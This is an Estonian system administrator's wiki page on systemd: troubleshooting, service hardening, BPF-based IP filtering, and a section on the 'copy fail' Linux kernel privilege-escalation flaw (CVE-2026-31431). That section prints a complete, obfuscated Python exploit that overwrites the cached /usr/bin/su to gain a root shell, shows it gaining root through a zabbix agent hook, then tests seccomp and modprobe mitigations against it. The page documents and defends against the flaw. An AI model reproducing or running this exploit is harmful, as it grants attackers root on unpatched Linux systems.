siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga
Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too. Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql... Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.
Lahenduseks on öelda
# systemctl daemon-reload
Märkused
- kerneli mooduleid loeb käivitamisel systemd-modules-load
systemd-modules-load.service
Seadistusfailiks on
# ls -ld /etc/modules-load.d/modules.conf lrwxrwxrwx 1 root root 10 Oct 9 14:58 /etc/modules-load.d/modules.conf -> ../modules
systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid
# ps aux | grep '/lib/systemd/systemd-' root 173 0.0 0.5 28188 2912 ? Ss 15:39 0:00 /lib/systemd/systemd-journald root 190 0.0 0.7 44072 4000 ? Ss 15:39 0:00 /lib/systemd/systemd-udevd systemd+ 388 0.0 0.4 97952 2312 ? Ssl 15:39 0:00 /lib/systemd/systemd-timesyncd root 396 0.0 0.5 28352 2772 ? Ss 15:39 0:00 /lib/systemd/systemd-logind systemd+ 402 0.0 0.5 28504 2892 ? Ss 15:39 0:00 /lib/systemd/systemd-networkd systemd+ 1004 0.0 0.5 31340 2880 ? Ss 16:00 0:00 /lib/systemd/systemd-resolved
Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks
# systemctl daemon-reload
Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda
# systemctl daemon-reexec
su ja sudo kasutamine
su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)
nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt
# machinectl shell imre@
nt on seejärel käivitatud sellised protsessid
imre@ph-minio-01:~$ ps U imre
PID TTY STAT TIME COMMAND
1212 pts/1 Ss 0:00 /bin/bash
1216 ? Ss 0:00 /usr/lib/systemd/systemd --user
1218 ? S 0:00 (sd-pam)
1251 pts/1 S 0:00 (sd-pam)
...
ja väärtustatud mitmesugused XDG keskkonnamuutujad
$ env | grep XDG XDG_SESSION_TYPE=tty XDG_SESSION_CLASS=user XDG_SESSION_ID=29 XDG_RUNTIME_DIR=/run/user/1000 XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto
LoadCredentials kasutamine
root@dh-minio-01:~# systemctl edit nginx [Service] LoadCredential=ssl_key:/etc/ssl/private/nginx.key LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt PrivateTmp=yes
systemd-analyze
kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07 NAME DESCRIPTION EXPOSURE ✗ KeyringMode= Service shares key material with other service 0.2 PrivateTmp= Service runs in special boot phase, option is not appropriate ProtectHome= Service runs in special boot phase, option is not appropriate ProtectSystem= Service runs in special boot phase, option is not appropriate RootDirectory=/RootImage= Service runs in special boot phase, option is not appropriate SupplementaryGroups= Service runs as root, option does not matter RemoveIPC= Service runs as root, option does not apply ✗ User=/DynamicUser= Service runs as root user 0.4 ✗ CapabilityBoundingSet=~CAP_SYS_TIME Service processes may change the system clock 0.2 ✗ NoNewPrivileges= Service processes may acquire new privileges 0.2 ✓ AmbientCapabilities= Service process does not receive ambient capabilities ✗ PrivateDevices= Service potentially has access to hardware devices 0.2 ✗ ProtectClock= Service may write to the hardware clock or system clock 0.2 ✗ CapabilityBoundingSet=~CAP_SYS_PACCT Service may use acct() 0.1 ✗ CapabilityBoundingSet=~CAP_KILL Service may send UNIX signals to arbitrary processes 0.1 ✗ ProtectKernelLogs= Service may read from or write to the kernel log ring buffer 0.2 ✗ CapabilityBoundingSet=~CAP_WAKE_ALARM Service may program timers that wake up the system 0.1 ✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER) Service may override UNIX file/IPC permission checks 0.2 ✗ ProtectControlGroups= Service may modify the control group file system 0.2 ✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE Service may mark files immutable 0.1 ✗ CapabilityBoundingSet=~CAP_IPC_LOCK Service may lock memory into RAM 0.1 ✗ ProtectKernelModules= Service may load or read kernel modules 0.2 ✗ CapabilityBoundingSet=~CAP_SYS_MODULE Service may load kernel modules 0.2 ✗ CapabilityBoundingSet=~CAP_BPF Service may load BPF programs 0.1 ✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG Service may issue vhangup() 0.1 ✗ CapabilityBoundingSet=~CAP_SYS_BOOT Service may issue reboot() 0.1 ✗ CapabilityBoundingSet=~CAP_SYS_CHROOT Service may issue chroot() 0.1 ✗ PrivateMounts= Service may install system mounts 0.2 ✗ SystemCallArchitectures= Service may execute system calls with all ABIs 0.2 ✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND Service may establish wake locks 0.1 ✗ MemoryDenyWriteExecute= Service may create writable executable memory mappings 0.1 ✗ RestrictNamespaces=~user Service may create user namespaces 0.3 ✗ RestrictNamespaces=~pid Service may create process namespaces 0.1 ✗ RestrictNamespaces=~net Service may create network namespaces 0.1 ✗ RestrictNamespaces=~uts Service may create hostname namespaces 0.1 ✗ RestrictNamespaces=~mnt Service may create file system namespaces 0.1 ✗ CapabilityBoundingSet=~CAP_LEASE Service may create file leases 0.1 ✗ CapabilityBoundingSet=~CAP_MKNOD Service may create device nodes 0.1 ✗ RestrictNamespaces=~cgroup Service may create cgroup namespaces 0.1 ✗ RestrictSUIDSGID= Service may create SUID/SGID files 0.2 ✗ RestrictNamespaces=~ipc Service may create IPC namespaces 0.1 ✗ ProtectHostname= Service may change system host/domainname 0.1 ✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP) Service may change file ownership/access mode/capabilities unrestricted 0.2 ✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP) Service may change UID/GID identities/capabilities 0.3 ✗ LockPersonality= Service may change ABI personality 0.1 ✗ ProtectKernelTunables= Service may alter kernel tunables 0.2 ✗ RestrictAddressFamilies=~AF_PACKET Service may allocate packet sockets 0.2 ✗ RestrictAddressFamilies=~AF_NETLINK Service may allocate netlink sockets 0.1 ✗ RestrictAddressFamilies=~AF_UNIX Service may allocate local sockets 0.1 ✗ RestrictAddressFamilies=~… Service may allocate exotic sockets 0.3 ✗ RestrictAddressFamilies=~AF_(INET|INET6) Service may allocate Internet sockets 0.3 ✗ CapabilityBoundingSet=~CAP_MAC_* Service may adjust SMACK MAC 0.1 ✗ RestrictRealtime= Service may acquire realtime scheduling 0.1 ✗ Delegate= Service maintains its own delegated control group subtree 0.1 ✗ CapabilityBoundingSet=~CAP_SYS_RAWIO Service has raw I/O access 0.2 ✗ CapabilityBoundingSet=~CAP_SYS_PTRACE Service has ptrace() debugging abilities 0.3 ✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE) Service has privileges to change resource use parameters 0.1 ✗ DeviceAllow= Service has no device ACL 0.2 ✗ CapabilityBoundingSet=~CAP_NET_ADMIN Service has network configuration privileges 0.2 ✗ ProtectProc= Service has full access to process tree (/proc hidepid=) 0.2 ✗ ProcSubset= Service has full access to non-process /proc files (/proc subset=) 0.1 ✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges 0.1 ✗ CapabilityBoundingSet=~CAP_AUDIT_* Service has audit subsystem access 0.1 ✗ CapabilityBoundingSet=~CAP_SYS_ADMIN Service has administrator privileges 0.3 ✗ PrivateNetwork= Service has access to the host's network 0.5 ✗ PrivateUsers= Service has access to other users 0.2 ✗ CapabilityBoundingSet=~CAP_SYSLOG Service has access to kernel logging 0.1 ✗ SystemCallFilter=~@clock Service does not filter system calls 0.2 ✗ SystemCallFilter=~@cpu-emulation Service does not filter system calls 0.1 ✗ SystemCallFilter=~@debug Service does not filter system calls 0.2 ✗ SystemCallFilter=~@module Service does not filter system calls 0.2 ✗ SystemCallFilter=~@mount Service does not filter system calls 0.2 ✗ SystemCallFilter=~@obsolete Service does not filter system calls 0.1 ✗ SystemCallFilter=~@privileged Service does not filter system calls 0.2 ✗ SystemCallFilter=~@raw-io Service does not filter system calls 0.2 ✗ SystemCallFilter=~@reboot Service does not filter system calls 0.2 ✗ SystemCallFilter=~@resources Service does not filter system calls 0.2 ✗ SystemCallFilter=~@swap Service does not filter system calls 0.2 ✗ IPAddressDeny= Service does not define an IP address allow list 0.2 ✗ NotifyAccess= Service child processes may alter service state 0.2 ✗ UMask= Files created by service are world-readable by default 0.1 → Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨 kasutaja@ph-minio-01:~$
bpf integratsioon
Väited
- nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas
- bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)
- bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)
- bpf palju suurema jõudlusega kui tava-paketifilter
Service
Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)
root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container [Unit] Description=My Nginx Quadlet Service - 06 DefaultDependencies=no After=network.target [Container] Image=docker.io/library/nginx:alpine PublishPort=8096:80 ContainerName=nginx-06 [Service] # Block all IP traffic by default IPAddressDeny=any # Then explicitly allow only what you need (e.g., your local subnet) IPAddressAllow=192.168.10.0/24 IPAddressAllow=127.0.0.1 IPAddressAllow=8.8.8.8 [Install] # This tells systemd to start it when you log in WantedBy=default.target
kus
- ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib
Kehtestada muudatus
root@ph-minio-01:~# systemctl --user daemon-reload root@ph-minio-01:~# systemctl --user stop nginx-06 root@ph-minio-01:~# systemctl --user start nginx-06
Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist
root@ph-minio-01:~# bpftool prog show id 185 185: cgroup_skb name sd_fw_egress tag df35b3b526089f21 gpl run_time_ns 1378480 run_cnt 1215 loaded_at 2026-04-20T12:44:13+0300 uid 0 xlated 184B jited 140B memlock 4096B map_ids 51 root@ph-minio-01:~# bpftool prog show id 186 186: cgroup_skb name sd_fw_ingress tag 208d1bf35e7113d2 gpl run_time_ns 516780 run_cnt 1204 loaded_at 2026-04-20T12:44:13+0300 uid 0 xlated 184B jited 140B memlock 4096B map_ids 51
kus
- run_cnt näitab kui mitmel korral on kitsendust rakendatud
ning
root@ph-minio-01:~# bpftool map show id 51 51: lpm_trie name 4_nginx_06.serv flags 0x1 key 8B value 8B max_entries 3 memlock 156B
ning
root@ph-minio-01:~# bpftool map dump id 51 key: 20 00 00 00 08 08 08 08 value: 01 00 00 00 00 00 00 00 key: 20 00 00 00 7f 00 00 01 value: 01 00 00 00 00 00 00 00 key: 18 00 00 00 c0 a8 0a 00 value: 01 00 00 00 00 00 00 00 Found 3 elements
sellise skriptiga saab teisendada loetavamaks
root@ph-minio-01:~# cat bpftool-map-dump.sh
#!/bin/bash
bpftool map dump id 51 | grep '^key' | while read -r line; do
bytes=($(echo $line | cut -d: -f2))
printf "Prefix: %d | IP: %d.%d.%d.%d\n" "$((16#${bytes[0]}))" "$((16#${bytes[4]}))" "$((16#${bytes[5]}))" "$((16#${bytes[6]}))" "$((16#${bytes[7]}))"
done
root@ph-minio-01:~# ./bpftool-map-dump.sh
Prefix: 32 | IP: 8.8.8.8
Prefix: 32 | IP: 127.0.0.1
Prefix: 24 | IP: 192.168.10.0
Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.
Slice
root@ph-minio-01:~# systemctl edit user.slice root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf [Slice] # This is a slice, but we can still pass BPF instructions IPAddressDeny=any IPAddressAllow=192.168.10.0/24 IPAddressAllow=127.0.0.0/8
kehtestada muudatus
root@ph-minio-01:~# systemctl daemon-reload
logida välja ja sisse ssh pealt näiteks ning
root@ph-minio-01:~# ping 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. ^C --- 8.8.8.8 ping statistics --- 2 packets transmitted, 0 received, 100% packet loss, time 1005ms root@ph-minio-01:~#
Misc
bpftop esitab ülevaatlikult
20260501 - copy fail eksploit
Väited
- küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel
- pedagoogilises mõttes on see huvitav lugu
- vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi
Tööpõhimõte - af_alg
af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)
root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools imre@pwrk-02:/home/imre/20260430$ date > cleartext.txt imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c "cbc(aes)" --passwd "MyPassword123" --iv $(openssl rand -hex 12) < cleartext.txt > encrypted.bin kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option! kcapi-enc - Warning: PBKDF2 iterations used: 131072 kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468
kus
- valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead
imre@pwrk-02:~$ lsmod | grep alg algif_hash 12288 0 algif_rng 12288 0 algif_skcipher 12288 0 algif_aead 12288 0 af_alg 32768 4 algif_hash,algif_skcipher,algif_aead,algif_rng
Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.
Tööpõhimõte - eksploit
copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt
- esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su' - nt lugedes faili tavalisel viisil satub tema sisu page cache'i
- siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus) - see on võimalik tänu eksploidi toimimisele - üldiselt on linux kerneli lubadus selline, et kui protsess (privilegeerimata protsess antud juhul) ei saa failisüsteemis faili muuta, siis ei saa ta tegeleda ka cache'itud vastava faili sisuga)
- käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli
- teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna
- page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega, mis on nö ext4 jt failisüsteemide kohal ja protsesside all
Asjaosalised kihid
arvutis töötavad protsessid (asuvad arvuti mälus)
|
v
vfs (virtual file system) (asub arvuti mälus)
|
v
page cache (asub arvuti mälus)
|
v
ext4 filesystem (asub plokkseadmel)
|
v
plokkseade (asub nö füüsilisel esemel)
kus
- page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 > /proc/sys/vm/drop_caches'
- page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'
- plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil
Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.
Tööpõhimõte - leevendus
Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)
- uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)
- lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne
- lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)
Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.
syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse
Leevenduste iseloomustus
- systemd (seccomp) - operatsioonisüsteemi syscall liidesel asuv nö tulemüür, mingis mõttes asub kerneli protsesside poole vaatavas osas
- apparmor (lsm - linux security modules)- erinevate süsteemi võimekustele ligipääsemise takistamised (asub kerneli protsesside poole vaatavast osast teisel pool)
- modprobe - kerneli funktsionaalsust realiseeriv komponent (kahe esimese puhul ei saa funktsionaalust kasutada isegi kui kernelis on see iseenest kohal)
Eksploit näide
https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse
$ cat /home/tmp/cf.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
$ chmod 0755 /home/tmp/cf.py
zabbix agent kaudu
root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf UserParameter=cf,echo id | /home/tmp/cf.py 1>>/home/tmp/cf.log 2>&1
käivitamine
root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1 root@pwrk-02:~#
logi
root@pwrk-02:~# tail -f /home/tmp/cf.log .. uid=0(root) gid=109(zabbix) groups=109(zabbix) uid=0(root) gid=109(zabbix) groups=109(zabbix) uid=0(root) gid=109(zabbix) groups=109(zabbix) ...
page cache puhastamine ("3" kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka "1")
root@pwrk-02:~# echo 3 > /proc/sys/vm/drop_caches
katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt
root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg
Leevendus - systemd service
Väited
- mõju on service põhine
- praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik
- öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)
- kehtestamiseks tuleb systemd service stop ja start öelda
systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies RestrictAddressFamilies=~ root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco Seccomp: 0 Seccomp_filters: 0
muudatus
# root@pwrk-02:~# systemctl edit zabbix-agent2 [Service] RestrictAddressFamilies=~AF_ALG # SystemCallErrorNumber=kill # SystemCallErrorNumber=EPERM
kus
- RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG
- SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab
peale muudatust
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies RestrictAddressFamilies=~AF_ALG root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco Seccomp: 2 Seccomp_filters: 2
Eksploit kasutamine annab nüüd sellise tulemuse
root@pwrk-02:~# tail -f /home/tmp/cf.log
...
Traceback (most recent call last):
File "/home/tmp/cf.py", line 9, in <module>
while i<len(e):c(f,i,e[i:i+4]);i+=4
^^^^^^^^^^^^^^^
File "/home/tmp/cf.py", line 5, in c
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
OSError: [Errno 97] Address family not supported by protocol
Leevendus - apparmor profile
TODO
Leevendus - modprobe
Väited
- mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg
# cat /etc/modprobe.d/mitigate-copy-fail.conf install algif_aead /bin/true
kus
- 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)
- selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu
- muudatus kehtestub koheselt
ning parem oleks ehk ka initramfs uuesti tekitada
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst
ja
root@pwrk-02:~# update-initramfs -u update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic I: The initramfs will attempt to resume from /dev/dm-2 I: (/dev/mapper/system-swap) I: Set the RESUME variable to override this. root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d' etc/modprobe.d etc/modprobe.d/amd64-microcode-blacklist.conf etc/modprobe.d/blacklist-ath_pci.conf etc/modprobe.d/blacklist-firewire.conf etc/modprobe.d/blacklist-framebuffer.conf etc/modprobe.d/blacklist-rare-network.conf etc/modprobe.d/blacklist.conf etc/modprobe.d/dkms.conf etc/modprobe.d/intel-microcode-blacklist.conf etc/modprobe.d/iwlwifi.conf etc/modprobe.d/mdadm.conf etc/modprobe.d/mitigate-copy-fail.conf root@pwrk-02:~#
Misc - docker rootful
docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus
- docker
- containerd
Debian
20260501 ilmus Debian operatsioonisüsteemile parandatud tuum
kus
- https://www.debian.org/security/
- https://security-tracker.debian.org/tracker/source-package/linux
- muudatusi saab otsida globaalse CVE nime abil (nt CVE-2026-31431)
Ubuntu
20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett
kus
- kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf # Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail) # This will likely be re-enabled in a subsequent update once an updated # kernel has been deployed. # Blacklisting the module isn't sufficient, we need to do as below: install algif_aead /bin/false
- küllap parandatud tuum ilmub seejärel
Proxmox
20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta
root@pve-svc-02:~# uname -a Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux
Kasulikud lisamaterjalid
- https://oneuptime.com/blog/post/2026-03-02-how-to-configure-systemd-service-hardening-on-ubuntu/view
- https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view
Kasulikud lisamaterjalid
- Systemd-nspawn kasutamine operatsioonisüsteemiga Debian
- http://en.wikipedia.org/wiki/Systemd
- http://blog.exppad.com/article/a-docker-like-container-management-using-systemd
- http://0pointer.net/blog/projects/systemd-for-admins-1.html
- http://zero-knowledge.org/post/92
- http://0pointer.de/public/systemd-ebook-psankar.pdf
- http://ktaraghi.blogspot.com/2013/11/what-is-systemd-and-how-it-works-part-1.html